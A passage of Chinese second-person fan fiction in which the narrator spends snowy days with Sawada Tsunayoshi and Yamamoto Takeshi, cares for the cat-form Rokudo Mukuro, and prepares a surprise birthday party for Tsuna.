你处理伤口的手段异常熟练,沢田纲吉甚至都没感受到强烈的痛感,只有恼人的密密麻麻的痒意和偶尔轻微的痛感不断彰显着某种存在感。注意到你给他用的是碘伏,沢田纲吉忽然想起来你之前用的是见效快的双氧水,怀着不知名的心思,他小声问你:“春也怎么不用双氧水?” 你理所当然地回答:“你不是怕疼吗?” 这一瞬间,医务室内所有的声音都慢慢远去——山本的说话声、你触碰玻璃瓶的轻微脆响、风吹动桌面纸张的细响……沢田纲吉什么也听不到了,寂静的世界里,只有他心脏跳动的声音格外真实,又格外地强烈。 砰、砰、砰强劲有力地跳动里似乎还参杂着血液汹涌的流动着,沢田纲吉手足无措地听着自己吵闹的心跳,他伸出手试图藏住扰人的动静,但它还是能够从指缝里正大光明地溜出。 他好像病了,春天即将来临时,沢田纲吉对自己不听话的身体下达了完全不准确的诊断。 “……阿纲,阿纲?阿纲!” 一声一声仿佛从远处飘来的声音叫醒了沢田纲吉,他连忙竖起脑袋左顾右盼,眼里还有着明显的茫然,“啊?怎么了?” 山本武似是有些无奈,他指了指沢田纲吉包扎好的伤口,又指了指正在洗手的你。 “已经包扎好了。” “诶?已经好了吗?这么快!” “嘛,我都叫了你好几遍了,不过阿纲好像都没听到的样子。”山本武摊手,说着,他又好奇看了过来,“阿纲刚刚在想什么那么入神啊?” 沢田纲吉毫无理由地红了脸,慌乱想找自己的手,低头才发现他的手还捂在心脏的位置,他又连忙慌慌张张地把手藏在背后试图掩藏自己刚刚犯蠢的动作。 “哈哈哈有吗?”沢田纲吉尬笑两声,他左看右看就是不对上山本武的视线,沢田纲吉欲盖弥彰:“没有啊,我什么都没有想。” 出于直觉,沢田纲吉不是很想告诉山本武自己刚刚古怪的心跳声。 山本武定定看了神情慌乱的沢田纲吉几秒,琥珀色的眼珠一眨不眨,余光瞥到你洗完手的动作后,他忽然轻松笑道:“哈哈哈阿纲没必要这么紧张。” 见山本武依旧笑容灿烂,沢田纲吉以为自己糊弄了过去,他做贼心虚地松了口气,恰好这个时候,你也正往这边走。 “啊对了,有没有人说过,阿纲其实很不会说谎。” 在你走过来前,沢田纲吉看到笑容天然的山本武忽然扭头,冷不丁朝他说了这么一句话。 第77章 沢田纲吉冷不丁被吓了一跳, 嘴里发出受惊的“噫”声,你走过来的时恰好看到他惊吓地快要蹦出床上,你三步并两步上前按住不安分的某人。 “别乱动!刚处理好的伤口又要崩开了。” 看到你, 沢田纲吉像是看到了什么安心的存在, 他一下又表现得很安静, 像只被顺了毛的小动物, 你安抚地摸了摸他的脑袋,“被什么吓到了?” 沢田纲吉摇了摇头, 他也意识到自己刚才反应过度了, 不好意思地笑了下,沢田纲吉伸手轻轻摸了摸自己包扎完好的伤口。 “没事, 是我太大惊小怪了。” 你又看向山本武,后者无辜朝你笑了下,“我们该回去了,春也。” 见两人气氛融洽,你挑了下眉, 没有再说话。 重新回到操场,时间已经过去大半, 沢田纲吉坐在一旁休息, 他很快就忘掉了刚刚的惊吓,看着山本武熟练颠球,他忍不住问道:“山本很喜欢排球吗?” 颠球的动作一顿,山本武动作利落地收起排球,他定定看了手上的排球几秒,半晌,山本武 扭过头笑着,露出一口大白牙:“不, 我喜欢的是棒球。那是我为之一生需要执着的存在。” 很难说山本武是在什么时候喜欢上棒球的,或许是第一次握到棒球棍,或许是老爸教他挥棒的那一刻,总之,等到山本武回过神,他已经无法再和棒球分离。 “我是为棒球而生的。” 小小的山本武满脸坚定,任谁也无法忽略他脸上的执拗和坚决。 你望进他琥珀色的瞳孔,迷迷糊糊的,你感觉自己似乎在谁的脸上见过这种表情。四目相对,你看到山本武体内耀眼的灵魂在闪闪发光, “那我期待着山本登上顶峰的那一天。” 山本武歪过脑袋表情单纯,“哈哈哈没想到春也这么相信我啊。” 不过…… “放心好了,我会亲手把奖杯送到春也面前!” 山本武朝你比了个大拇指,亮出的大白牙在太阳光下闪闪发光,就和他这个人一样。 * 山本武认为你是一个很有意思的人。无论是特别的装扮,还是第一次见你时,你身上无意间流露出来的冷漠厌世的气息,光他之前从未在并盛见过你,就足以让他对你燃起微妙的好奇。 常年在店内帮助,山本武几乎认遍了整个并盛的居民,重复单调的工作偶尔会让小孩子感到疲惫,但精力旺盛的山本武总能找到特别的娱乐方法。 分析每个人每天的状态、猜测他们的心情、寻找适合每个人的话题……山本武总能把这些做好,但山本武发现自己完全无法分析你的全部。 最开始,他以为你不会是喜欢肆意接近别人的存在,但出乎他的意料,等到下次再和你碰面,你身边禁止踏足的领域多了个沢田纲吉。 山本武知道一点沢田纲吉,诚然,他不是那种喜欢欺负人的性子,但关于废柴纲的名称实在太过有名,连不在同个班的山本武都有所耳闻。 山本武没想到你会和他牵扯在一起。都不需要他刻意打探消息,班上同学就已经把你替沢田纲吉出头的事添油加醋说了遍。 古怪、孤僻、暴力……是大家贴在你身上的标签,山本武没有搭理那些谣言,他只是静静在暗处观察你,看你和沢田纲吉的关系越来越融洽…… 山本武不觉得那些标签和你有关系,在制止了男生们又一次嬉笑着乱说话后,山本武决定亲自去接触你。 嘛,毕竟比起从别人口中得知你的消息,远不如他亲自了解来得清晰。 事实证明,他的决定是正确的。 第78章 尽管山本武不和你们同班, 但这丝毫不会阻拦你们感情的发展。 日本小学的课程并不紧张,绝大多数时间,你们都沉浸在课外活动的探索里。日子就在悠长的春日里慢慢过去, 直到第一片雪花降落, 你才迟钝地意识到, 原来不知不觉, 骸骸、犬和千种已经和你分别了近一年的时光。 今天的落雪来得比往年都要早,堪堪十月, 冷空气提前来袭。 学校传来了停课通知, 你没有安分呆在家,而是抱着和子站在门口。冰冷的雪花轻飘飘落在你脸上, 你忽然想起了去年下雪时的场景。 同样的时间,同样的落雪,同样的等待……唯一不同的是,等待归家的人由骸骸和犬换成了你。细密冰凉的雪一层一层缓慢覆盖住你触之所及的地方,沉默又安静地站在路灯下, 你看着天色渐渐昏暗下来。 骸骸也不是每次都会出来和你碰面,越过对方懒洋洋的小猫外壳下, 你轻易看到了他努力试图隐藏起来的痛感和沉寂。 细细密密的、从骨头里蔓延出来的疼痛透过灵魂传染到你身上, 骨骼在深夜发出令你难以忍耐的碎裂声,隔着和子的身躯,你只能短暂触碰到六道骸的存在。 “要什么时候才能见你呢。” 夜里,你偶尔会突兀地冒出这句话。 “kufufufu…我一直在这里。” 而六道骸的回答也一直没变过。 不,但这不是你想要的。站在雪地里,你茫茫看着漫天飞雪,仰头看向阴沉灰暗的天空,骤然, 路灯忽地亮起。 澄黄朦胧的灯光一路蔓延至天的尽头,恍惚间,你看到了有人朝你走来。 ——会是骸骸吗? “春也——” 模糊朦胧的声音从远处传来,活泼上扬的音调穿透了整个世界,你好似又看到了犬龇着大牙骂骂咧咧极其别扭地朝你靠近,千种温和又不客气地拍开他,骸骸难得幼稚地把冷冰冰的手指探入你的围巾,冰冷的温度激得困倦的你一个激灵,而后你恼羞成怒追赶三个笨蛋。 “春也——!!” 橙黄色的小灯泡欢快朝你蹦哒来,而后扑通一声栽入小雪坑,旁边一只大手顺势拎起人,黑发小刺猬举手朝你挥了挥,两只笑容灿烂热烈的小动物欢欢喜喜扑腾到了你面前。 “我和山本来找你玩啦~” 是沢田纲吉和山本武。 黑白分明的瞳仁里倒映着他们的身影,你微微垂下眼,心里说不清是失落多一些还是惊讶多一些。 山本武敏锐注意到了你的不对劲,他微抬眼看向你,琥珀色的眼睛微眯,又在你发现之前收敛了神色。注意到你身上堆积了些许落雪,山本武皱起眉头:“春也怎么一个人站在雪里?” 他走上前自然替你掸落雪花,温热的指腹无意触碰到你冰凉的脸颊,山本武的眉头不禁皱得更深了。 沢田纲吉的反应稍微慢上一拍,他还沉浸在你刚刚的视线里。 ——你刚刚,是不是在透过他看什么人? 第79章 雪下得越来越大了, 最初聚在你身上的积雪渐渐消融,冰凉的雪水串成一颗颗小水珠挂在毛绒织物的衣服上,而后缓缓化作一滩潮湿的阴影。 “看雪。”你慢吞吞回答着山本武的话, 一片指甲盖大小的雪花坠上你睫毛, 冰凉的触感令你下意识闭上眼, 睫毛轻颤, 雪花化作水珠圆润地滚落地面,你再看过去时, 已然找寻不到那片雪花的踪迹。 收敛情绪, 你神情如常看向沢田纲吉和山本武。 “要打雪球吗?” 山本武:“我没意见。” 眼见还有一个人没发表意见,你和山本武齐齐把目光投向沢田纲吉。突然被注视, 沢田纲吉一下回神,他连忙举手赞同。 “不过在那之前,稍微先做一下准备工作吧。”山本武伸手拦住蹲下身准备把手伸向雪层的你,见你露出被打扰后不开心的情绪,他笑容灿烂地把你拉了起来:“哈哈哈抱歉抱歉, 但是就这样直接开玩的话,很容易感冒哦。” 山本武的视线短暂在你潮湿的帽子、围巾和衣服上停留几秒, 上前一步伸出手, 山本武轻轻捏住你潮湿的发尾,都快冷得掉渣了,山本武的眉头不免皱得更深:“看,都湿透了。” 虽然山本武从未见过你生病的模样,但这并不代表他可以轻率对待。 注意到你不满地还想要反驳,山本武继续说:“嘛,不光是春也,我和阿纲也很讨厌感冒, 阿纲你说是不是这样?” 说着,山本武还扭头寻求沢田纲吉的认同。 沢田纲吉甩了甩脑袋,将雪花和刚刚的想法一同从脑子里甩掉,他肯定地点了点头:“嗯,感冒的滋味可讨厌了。” 舌尖似乎又回忆起苦涩的药味道,沢田纲吉连连摇头。他啪哒啪哒跑上前扯住你的衣角,眼睛不断往你身后的门看去,沢田纲吉的意思很明显。 “可以先热点汤,妈妈以前经常会这么做,玩完雪回来喝口热汤,身体可舒服了!” 你低头,沢田纲吉眼里直白地流露出对你的担心,他语气重重道:“春也身上都潮湿了,就算不喝汤,也要先换一件衣服啊。” 两个人你一句我一句,就是没有让你先玩的打算,哪怕是脾气最好的沢田纲吉,在这种时候也异常坚定。你耐不住他们的念叨,撇了撇嘴,你往家走去,沢田纲吉和山本武就跟在你身后。 真是的,这两个家伙现在越来越放肆了。你转身看过去,沢田纲吉和山本武正乖巧跟在你身后,看到你回头,他们同步歪头朝你笑了下。明媚的笑容像是可以驱散阴沉的乌云,你莫名泄了气。 恶狠狠踩着重重的脚步,你回到了房间。 “好了,我们也可以趁春也换衣服的这段时间准备起来了。” 直到再也看不到你的背影,山本武这才缓缓收回目光。 “我记得妈妈煮的姜汤里有生姜…还有可乐……”沢田纲吉一边回忆着汤的材料,一边好奇观察着你家。这还是他第一次来这,更多时候,你都是送沢田纲吉回家的那一个,顺带帮他补习功课的。 进门一瞬间,沢田纲吉首先注意到的就是沙发上堆积的菠萝玩偶。 他没想到你竟然会喜欢菠萝玩偶。 沢田纲吉定定看了几秒,他忽然就想到了你在路灯下等待的身影,沢田纲吉蓦地发现,他好像没有真正了解过你。 你知道他的废柴,知道他喜欢看漫画,知道他的梦想是想成为一个机器人……你知道沢田纲吉的全部,可沢田纲吉回过头才恍然,他不知道你的缺点,不知道你的喜恶,不知道你未来的梦想……关于你,除了一个名字,沢田纲吉什么都不知道。 “诶?” 忽然,不远处传来山本武惊讶的声音,沢田纲吉的目光从玩偶上收回,他连忙跑到山本武身边,“发生什么事了?” “唔,没什么。”手指虚扶着打开的冰箱门,山本武摸了摸下巴,“我只是没想到,春也冰箱里的存货还挺丰富。” 毕竟那家伙看起来完全不像是个会下厨的人。虽然春也每日携带的便当很美味,但他勉强也算得上一位小厨师,山本武并没在你身上嗅到同类的味道,不过也有可能是他猜测错误。 “好、好丰盛!” 沢田纲吉震惊看着冰箱里的世界,当季新鲜的水果蔬菜和精心备好的料理便当,还有满满当当的果汁饮料……几乎是所有人的梦中情箱,沢田纲吉瞳孔地震:“但是我好像很少看到春也购物过。” 最主要的是,这些东西一看就是有人提前备好的,因为沢田纲吉一眼就看到了旁边插着的一支鲜花。除了客厅玄关厨房……沢田纲吉没想到连冰箱里都有鲜花的存在。 他默默在心里记下这一点。 “可能是和子干的也不一定。”山本武耸了耸肩,开了个玩笑。你从未提及过家人的话题,山本武也很有分寸地不会开展这些话题。 “再怎么说和子也只是一只猫啊!”沢田纲吉嘴角抽搐,“会因为主人做菜难吃所以起来炒了个三菜一汤才是童话里会发生的事情!!” 不可能,现实里根本不可能,沢田纲吉坚决保持反对观念。 “不过,说到和子,好像从进门开始,我就没看到它。” “等春也出来问问她。”山本武简单看了几眼,从中找出自己想要的佐料和食材,他拎着它们走向厨房。 厨房山本武一个人就可以搞定,沢田纲吉见没有自己的事便走到客厅,某些时候,沢田纲吉的直觉异常敏锐。 坐在沙发上,他随手拎起一只胖乎乎的眯眼菠萝,沢田纲吉凑近在上面发现几根掉落的黑色猫毛。视线略过另外几只菠萝玩偶,沢田纲吉看着面前茶桌上插起来的漂亮山茶花。 颓靡艳丽的红色山茶花安静呆在那,无声彰显着它强大的存在感。沢田纲吉静静看了好一会,莫名的,他感觉自己离你更近了点的同时,隐隐有种这个屋子远不止你一人的错觉。 第80章 你只简单换了身简约的绒毛衣, 来到镜子面前,你看了半天,迟疑片刻, 你顺着自己心意摘下了头顶毛茸茸的白色帽子, 刹那, 如瀑布般的黑发丝滑倾泻而下, 大约在帽子底下蜷曲久了,发尾略微卷起, 弯起层层叠叠的波浪。 满意转了一圈, 除了唇色略微苍白,你看不出丝毫缺陷。 说起来, 你也有很久没有摘下帽子了,一开始是为了省事,慢慢演变为一种习惯,直到今天脱下帽子,你才发现你果然还是喜欢自己身上没有遮掩物的真实模样。 时隔不到一年, 你暂时无法看出自己身上有哪些变化,简单梳理了下头发, 你随意拿起大夹子夹起微卷的长发, 没有管懒洋洋挂在耳边的几缕碎发,你凑近镜子认真看。 也不知道骸骸做了什么,你总感觉自己现在的吸引力似乎没以前那么可怕了。镜子里的黑发少女缓缓眨了下眼,灰蓝色的眼珠幽深诡谲,盯着久了,你隐隐感觉她对着你笑了下。 心情愉悦地打开门,你率先嗅到了一股辛辣的味道,你挑眉, 看来山本武已经在厨房煮锅烧姜汤了。 刚下楼你就看到沢田纲吉盯着你的菠萝玩偶发呆,看上去,他完全没察觉到你的动静。你悄无声息走到他身后,然后冷不丁探头:“阿纲在做什么?” 沉浸在自己思绪里的沢田纲吉不出所料被你吓到,心脏一慌,他惊地跳起,手里的眯眼菠萝在沙发上滚了两圈,你看过去,可怜的菠萝玩偶悬了小半个身子在沙发边缘,险些掉落。 “噫——!!” 沢田纲吉连滚带爬逃离沙发,看到是你,他泄力般靠着桌脚,虽然发现是你,但沢田纲吉还是免不了被吓到,他坐在地毯上大声抱怨:“春也!!” “春也每次都在吓我!” “因为阿纲的表现太可爱了。” 你走过去,手指轻轻戳在他的脑门,稍微一个用力,沢田纲吉就被你戳的左歪右倒,你看着沢田纲吉嘟囔的小表情和吐槽,一本正经地说:“其实,我这是在锻炼阿纲的胆量。” 现在的沢田纲吉早就不是当初那个你说什么都会傻傻相信的沢田纲吉了,他犀利吐槽:“春也根本就是恶趣味啦。” 比起锻炼他的胆量,还不如相信你只是想看到他受惊后的反应。 “阿纲变得不可爱了呢。” 听到你的话,沢田纲吉无奈叹了口气,他抓住你即将离开的手,柔软的脸颊自然贴在上边,沢田纲吉轻轻蹭了蹭,他坐在地上仰头看你,“我现在胆子已经很大了啦。” “哦?”你笑了,“那上一次是谁看到追着咬的吉娃娃后一下蹦到了我身上?” 沢田纲吉别过脸不回答了。 “啊,春也已经换好了吗?”山本武从厨房间探出一个脑袋,看到你后,他险些忘记了呼吸,琥珀色的眼睛一眨不眨盯着你,山本武愣了好半晌才找回自己的声音:“春也今天摘下帽子和围巾了啊。” 山本武只偶尔在你勾指拽下去些围巾时才能窥见你一分样貌,更多时候,他只能看到你的鼻尖,这还是他第一次真真正正看到你的模样。山本武不是没有好奇过你的样貌,可真正看到后,他才发现过往的那些想象和言语形容太过苍白。 你注意到了山本武的反应,眉眼上挑,你歪了歪脑袋,随即嘴角勾起恶趣味的弧度,你缓缓朝山本武走过去。 “山本武。”刻意放轻语气,你看到他的视线始终正大光明地落在你身上,双手背在身后,你缓缓朝他倾身,轻软的尾音勾得人心痒,“我好看吗?” 山本武不自觉后退了一步,他第一次选择回避了你的视线,轻咳一声,红透的耳朵彻底暴露在你面前,意识到你还在等他回答,山本武强装镇定扭过头再次看你,不动声色克制着自己想要逃开的冲动,山本武一脸真诚:“好看。” “春也是我见过最好看的人了。” 你定定盯了山本武几秒,确认对方脸上的真诚不掺一丝假,你没意思地扭头离开。 还以为能看到有意思的反应呢。 山本武见你毫不犹豫地转身离开,他下意识往前踏出一步,随后又生生止住步伐,苦恼地握紧锅铲,他始终安静注视着你的背影。 沢田纲吉对你的样貌似乎有特别的忽略技巧,不刻意去看的话,他注意到的完全就是你一整个人,看到你凑近山本武,沢田纲吉立马从地毯上爬起,然后啪哒啪哒跑到你身边。 “雪越下越大了,春也。” 沢田纲吉聪明地知道该如何引起你的注意力。 “正好,那我们出去玩吧。”说着,你没有等山本武的回话,一个人哒哒哒跑到门外去了,沢田纲吉紧紧跟在你身后。山本武倚着门框,直到开门后的冷气传到他这边,山本武这才摇了摇头回到厨房。把火关到最小档,山本武洗干净手也走了出去。 做饭的人对时间有着精准的计算,尤其是山本武,更何况玩闹的地点就在家门口,山本武并不担心小火会烧掉锅子。 打开门,冷气裹挟着雪花一下没入你的鼻子,你冻了个激灵,差点收回迈出的脚,但外边软乎乎白花花的雪花实在吸引你的视线,没忍住,你顶着寒风踏出家门。 和子还没回家,或者应该说是六道骸,你不知道他做什么去,但既然是骸骸的话,你很放心他。 雪和沢田纲吉说的一样,越来越大了。书本上鹅毛般的大雪于此刻具像化在你眼前,你看过去,草坪、大树、路灯都覆盖了一层厚厚的积雪,脚踩在雪面发出轻微的嘎吱嘎吱声,你感觉自己像是陷入了一场从未醒过来的梦境里,梦幻又冰冷的场景突兀地让你幻视了你短暂遗忘掉的回忆。 蹲下身,手指陷入冰凉软绵的雪层,轻轻一抓,松软的雪花瞬间成型,你团吧团吧两下,一个坑坑洼洼的雪球出现在了你掌心。 “阿纲!看招!” 你第一个发起攻击,沢田纲吉急忙闪躲,啪唧一下,他跌入了柔软的雪面,而后你的雪球正中他的眉心。 “阿纲扣一分!” “噫?!诶——!!” “哈哈哈看上去很有意思啊。”山本武也跟着团了个雪球,眼神锐利,他以打棒球的姿势动作标准地扔出手上的雪球。 你机智往旁边扑倒,地面的雪层很厚,你丝毫不担心自己会受伤,完全躲过雪球,下一秒,你的脑袋降落一大片雪花,疯狂甩了甩脑袋,你扭头看到山本武刚刚的雪球重重砸在了树干上,上面隐隐陷出一个浅浅的凹坑,你头顶的雪花就是这么来的。 好好好,胜负欲上来了,你眼中冒出熊熊烈火,“山本!看这里!” “噫!又砸中我啦!” “哈哈哈哈哈阿纲又扣一分了啊,既然这样,我也不会轻易认输啊!” 混战开始了,激烈的氛围中,就连屡次遭砸的沢田纲吉也奋起了,本该是普普通通的友谊赛硬生生被你们打出了激战气势,不知不觉,战斗进入了白热化。 直到天色彻底暗了下来,你们终于停止了激战。 “啊——完了完了完了,已经是这个时候了,我还没跟妈妈说晚上也不回来吃啊。” 沢田纲吉震惊发现自己居然没有察觉到时间的流逝,路灯昏暗的光线照亮他们这片小天地,沢田纲吉累得几乎要坐倒在地面,低头看看脏兮兮的雪坑,沢田纲吉觉得自己还没不讲究到这个地步,他喘着气靠在大树干。 “没关系,我们说了出来玩。”激烈的运动下,山本武额头都冒出了点点汗珠,抬手随意擦掉,山本武招呼道:“我们先喝点姜汤暖暖身子,今天玩得太久了。” 你连说话的力气都没了,拖着疲惫且过度兴奋的身体回到家,你嗅到了浓浓的姜汤味。山本武中途加了好几次水和佐料,现在的姜汤已经入味到整个屋子都是它的气息了。 山本武先进厨房关掉火给你们盛汤,沢田纲吉有些困倦地打了个哈欠,他抬头看到衣架上挂着干净的毛巾,余光注意到你潮湿的发丝,沢田纲吉拿起干净的毛巾走到你身后。 “春也先擦擦头发吧。” 脸颊软绵绵支撑在椅背,你简单吱了声就没动静,沢田纲吉犹豫了下上前替你擦拭起头发。你的大夹子早在中途打的热火朝天时掉没了,披散的头发覆上了一层雪,现在都已经化成水潮湿了你的发丝。 沢田纲吉耐心细致地替你擦拭,温热的手指轻柔地插入你发丝间,他的心里忽然升起无限耐心和温柔。 你被沢田纲吉轻柔的动作照顾得昏昏欲睡,等到山本武端上姜汤,你彻底睡了过去。 “春也,春也……”沢田纲吉收起了毛巾,见你昏睡过去,他小心翼翼把你推醒,“现在还不可以睡哦春也,会感冒的,快醒来先喝完姜汤,洗个热水澡再睡吧。” 这个年纪的小孩玩起来就是会很疯,哪怕是腼腆的沢田纲吉和理智的山本武也不可避免,不过他们比你好的是身体素质更强些,一进门,没一会,两个人又恢复了点精神。 “唔?”你朦胧地睁开眼,刺眼的白织灯照得你晃眼睛,你语气含糊:“白天了吗……嗯…你们还在啊。” “不是白天,还是晚上。”山本武回答着你的问题,他端着姜汤来到你面前,“已经温了,不烫,春也可以直接喝。 睡迷糊的你很听话,乖乖接过山本武手里的姜汤,你慢吞吞喝了下去,瞬间,你的身体开始暖和起来,你勉强睁开眼睛。 等等,这个时间点,骸骸好像要回来了!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 天灵盖一个激灵, 想到骸骸,你瞬间清醒。 “时间不早了,你们是不是要回家了?” 沢田纲吉困倦地打了个哈欠, 听到你的话, 他下意识望向窗外。雪还在下, 夜晚一反往日的漆黑, 在白雪的反射下亮如白昼。 “那春也记得洗个热水澡再睡觉。”揉了揉眼睛,歇息了片刻, 疲惫感和困意翻涌而上, 沢田纲吉使劲摇晃着脑袋试图让自己清醒,慢吞吞走到门口, 沢田纲吉扭过头又看了你一眼:“我先走了。” 一开门,冷气冻得沢田纲吉瞬间清醒,山本武就跟在沢田纲吉后边,走之前,他忽然扭头, 手指轻轻搭在你脑袋,山本武笑了声:“春也就不用出来了, 刚暖和起来的身体别又冷下去了。” 你脑袋一重, 你抬起头看,微微渗进来的雪光衬得他本就不深的琥珀色虹膜愈发浅淡,山本武定定看了你几秒,随后他轻轻揉了两下你的脑袋。 “我们走了。” 山本武隐隐觉察到什么,他看着敞亮的道路和路灯,他忽然发现自己原来和你的关系还不够亲密。 在隐瞒什么呢?他的存在难道见不得光吗? 掩下眸中一闪而过的思绪,山本武脸上再度扬起笑容朝你挥了挥手。 只是,山本武和沢田纲吉都没注意到, 他们离开不远后恰好和某只猫擦肩而过。 神秘的黑猫走在屋檐上,敏锐察觉到陌生的气息,六道骸随意瞥了眼下方,是两个没有威胁的小孩子。漫不经心收回视线,六道骸身上覆着一层雪回到了家。 “哦呀,是在等我回家吗?” 六道骸一回来就看到你站在门口,他心里有些惊讶,这还是你第一次掐表掐得这么准确,往常他回来的太晚,你偶尔会因为熬不住睡过去。 站在门口的地毯抖了抖身上的残雪,六道骸放松身体迎接你的拥抱,身体陷在温暖的毛巾里,六道骸惬意地享受你的服务。 明明一开始,六道骸是强烈反对你对他奇奇怪怪的行为的。挑眉看着六道骸现在丝毫不反抗的模样,你拿起吹风机给潮湿的猫咪骸吹干。 很快,一只潮湿冰冷的小黑猫变得蓬松温暖起来。你举起猫咪骸,在对方疑惑的眸光里,你深吸一口气,再也忍不住,你低头深深埋入他柔软温暖的肚子下,六道骸惊地发出喵声,毛发炸开,他抗拒地伸出爪子企图推开你。 “早就想这么做了。” 感知着脸上猫垫柔软的触感,你更上头了,骸骸甚至都没对你伸出爪子,他爱你! 六道骸从一开始的激烈反抗到最后的躺平享受,也不过是在短短的一分钟内。 “kufufufu…看来是我给你的胆子太大了。”六道骸顶着炸毛凌乱的猫毛,他在你怀里相当没有气势的冷笑。 “没办法,谁让我实在太喜欢骸骸了呢。”你亲昵地蹭了蹭猫咪骸的脑袋,这样一顿操作,骸骸应该就不会注意家里的异常了,忽略心里诡异的心虚,你继续对骸骸甜言蜜语。 “全世界最喜欢骸骸!” 六道骸闭上眼懒洋洋翻个身,毛茸茸的猫脸埋入你怀里,身体无意识抖了抖猫耳,他没有再说话了。 第82章 这场突如其来的大雪下了好几天, 大雪堵塞路面,学校一直处于停课状态,你懒洋洋歇在家里撸猫, 如果不是沢田纲吉和山本武时不时来找你玩, 你怕是骨头都要躺得酥了。 日历一页一页撕开, 算着日子, 你忽然发现,沢田纲吉的生日快到了。 回忆起沢田纲吉每天认真执着完成你随口许的愿望, 哪怕偶尔你刻意刁难, 沢田纲吉嘴上嚷嚷着「不可能」「太难了」,但行动上却从未放弃过。 想到阿纲软乎乎的天真笑容, 你思考了会,下一次愿望,就安排在阿纲的生日会吧。 你没打算叫上班里的同学,霸凌者没资格上桌,不过一个人搞庆生活动……脑子里忽然冒出山本武的身影, 你眼睛一亮。 “给阿纲过生日?哈哈哈哈完全没问题啊。”山本武没怎么犹豫就应下了你的邀约,“不过没想到阿纲生日居然快到了, 阿纲都没和我提起过呢。” 看你难得上心的模样, 山本武若有所思地看了你一眼,“既然是惊喜,那我们先瞒着阿纲,准备工作的话可以都交给我,我对这方面还算有经验。” 归功于山本武的好人缘,他参加过同学邀请的大大小小的生日会,他姑且还算了解庆生流程。 “交给山本最放心了!” 你乐的把繁琐的流程外包给山本武,做人太过靠谱理智, 可是会被你记在心里的。 听到你对他生疏的称呼,山本武习惯性笑笑,他顺势发出邀请:“反正现在没有事情,我们干脆先搞起来吧。毕竟距离阿纲的生日也就只有一天了。” “场地的话,要不就选在阿纲家里吧。” “可以先征求一下阿纲妈妈的意见。” 你们两个对视一眼,然后不约而同往沢田纲吉家里走去。 路程很快,没几分钟你们就到了目的地,沢田奈奈打开门,低头才看到你们两个小豆丁,她弯下腰温柔地说:“啊啦,是阿武和春也,你们来找阿纲玩吗?” “不过阿纲还在睡觉呢,我去把他叫醒。” 你摇了摇头:“不是的,我们是来找你的,奈奈阿姨。” 沢田奈奈疑惑歪头,手不确定地指了下自己,她困惑道:“诶?找我?” “是这样的,我和山本打算一起给阿纲一个惊喜。” 你叽里咕噜一顿和沢田奈奈说了你们的想法,后者惊讶睁大眼睛在听完了你们整个流程和打算后,沢田奈奈眉眼柔和地注视着你们两个好孩子。 “阿纲真是交了两个好朋友呢。”沢田奈奈竖起一根手指轻轻贴在唇间,她笑容温柔:“我会悄悄对阿纲保密的,明天我会先带着阿纲出门,至于家里的布置,就交给你们两个小大人了呢~” “耶!”你转身默契地和山本武击了个掌,扭过头,你朝着沢田奈奈弯了弯眼睛:“那明天就拜托奈奈阿姨了~” 从始至终,山本武一直安静看你说话,眉梢不自觉染上笑意,他不自觉摩挲了下指腹。 莫名的,山本武忽然期待起自己的生日。 一个下午加一个上午的时间,完全够你和山本武准备了。他几乎包揽了所有的工作,唯有蛋糕是你们两个合作完成的。 “不能因为阿纲喜欢吃汉堡肉就试图把它塞入蛋糕里。” 山本武温和又坚定地制止了你的灵机一动,做饭,最忌突然的灵光一闪。 “好吧好吧。”你撇了撇嘴,妥协地摊手,上完最后一层奶油,你还是不死心:“说不定阿纲就喜欢这样呢?” 山本武似笑非笑地盯了你几秒,在食物这方面,他难得表现出了奇奇怪怪的坚持。 可能这就是厨师的共性,你最终还是放弃了自己的天才创意,你决定到时候在阿纲面前好好吐槽一番山本武可恶的行为! 蛋糕的收尾工作是由山本武来完成的,他很适合这种精细的活。耐心制作了三个有他们特征的迷你小人,山本武接着又在旁边写下生日快乐的祝福语。 “大功告成!” 也是巧,阿纲生日那天,恰逢雪停。 第83章 早上被妈妈叫醒的时候, 沢田纲吉整个人还处于睡懵的状态,坐起身没多久,他又困倦地眯起眼睛, 左摇右晃间, 沢田纲吉啪唧一下栽入温暖的被窝, 一翻身卷起全部地被子, 他不满地把脸埋入被窝。 沢田奈奈双手叉腰无奈看着赖床的儿子:“阿纲,要起床了哦。” “唰” 窗帘大开, 刺眼的阳光一下穿透玻璃倾洒进房间, 沢田纲吉挣扎着爬起,“妈妈今天为什么这么早就叫我起床啊?” 以往的休息日, 妈妈很少会吵醒他,沢田纲吉忍不住痛苦面具。不上学的日子还要早起也太可怕了!当然,出去玩另算。 “唔,因为妈妈今天想带阿纲出门逛街呀。” 这个答案是沢田纲吉没有想到的,抓了抓头发, 沢田纲吉仰天长叹一声,随后慢吞吞爬了起来。在他洗漱过程间, 你就蹲守在沢田纲吉家附近的灌木丛里偷偷观察。 等了差不多半小时, 你听到了开门声,条件反射抬头,你终于看到沢田纲吉出了家门。对方正牵着沢田奈奈的手里慢慢往外走,时不时还打着哈欠。虽然不觉得对方能敏锐到发现你的踪迹,但你还是谨慎地往后移了几步,任由高高的灌木完全把你覆盖。 直到沢田纲吉彻底消失在你的视野里,你才舒了口气,反手就给山本武发了“ok”的信息, 你拿着沢田奈奈给的钥匙正大光明走进了她的家。 沢田奈奈昨晚已经把家里彻底大扫除了一遍,多余又挡路的架子椅子全都被清理得干净,相比你第一次来沢田家里看到的场景,今天的沢田家崭新得宛若新装修一般。 你拿出图纸根据沢田家现在的布局又修修改改了好一会,等到新的图稿出现,山本武也到了。 “抱歉抱歉,春也等了好久吧。” 装扮的道具和蛋糕都是由山本爸爸送过来的,雪停后路上还结着冰,出门的人依旧不多,所以山本爸爸才有闲帮儿子帮。 “没有很久。” 你礼貌性和山本爸爸打了个招呼,后者显然很熟悉你,山本爸爸笑着和你打招呼,昨晚山本武已经和他说过这件事了。 “春也和阿武、阿纲好好玩。”山本爸爸搬完所有东西后笑着拍了拍自家儿子的脑袋,“反正今天店里没什么事,阿武不用着急回家。” 山本爸爸一向开明,简单和你们道了别后,他又开着车离开了。 “哟西!那我们也可以开始了——” 山本武手一挥,他拿出整理好彩带和气球,还有一堆杂七杂八的东西。一一摆好,他接过你递来的图纸。 “第一步,先给气球打气。” 打气的设备山本武也早就准备好了,你看他坐下小板凳上开始给气球打气,你拿过气球旁边五颜六色的飘逸彩带: “我来装饰彩带。” 你站在高高的椅子上努力想把彩带挂在悬梁,奈何身高太矮,你努力了半天,彩带堪堪悬在你头顶上方。 虽然和预想不太相同,但以你的视角看,这样装饰彩带并不突兀。 